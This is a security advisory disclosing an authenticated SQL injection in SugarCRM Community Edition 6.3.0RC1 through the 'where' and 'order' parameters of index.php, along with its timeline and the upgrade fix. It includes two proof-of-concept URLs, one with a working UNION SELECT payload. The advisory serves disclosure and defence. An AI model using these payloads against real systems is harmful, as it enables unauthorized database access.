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Sql injection in SugarCRM



Vulnerability ID: HTB23051
Reference: https://www.htbridge.ch/advisory/sql_injection_in_sugarcrm.html
Product: SugarCRM
Vendor: SugarCRM Inc.  ( http://www.sugarcrm.com ) 
Vulnerable Version: Community Edition 6.3.0RC1 and probably prior
Tested Version: Community Edition 6.3.0RC1 
Vendor Notification: 05 October 2011 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered vulnerability in SugarCRM, which can be exploited to perform sql injection attacks.

Input passed via the "where" and "order" GET parameters to index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

http://[host]/index.php?entryPoint=json&action=get_full_list&module=Leads&where=0%29%20union%20select%20version%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71%20--%20

http://[host]/index.php?entryPoint=json&action=get_full_list&module=Leads&order=SQL_CODE_HERE%20--%20

Successful exploitation of the vulnerabilities requires attacker to be registered and logged-in.

Solution: Upgrade to the version 6.4.0

Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.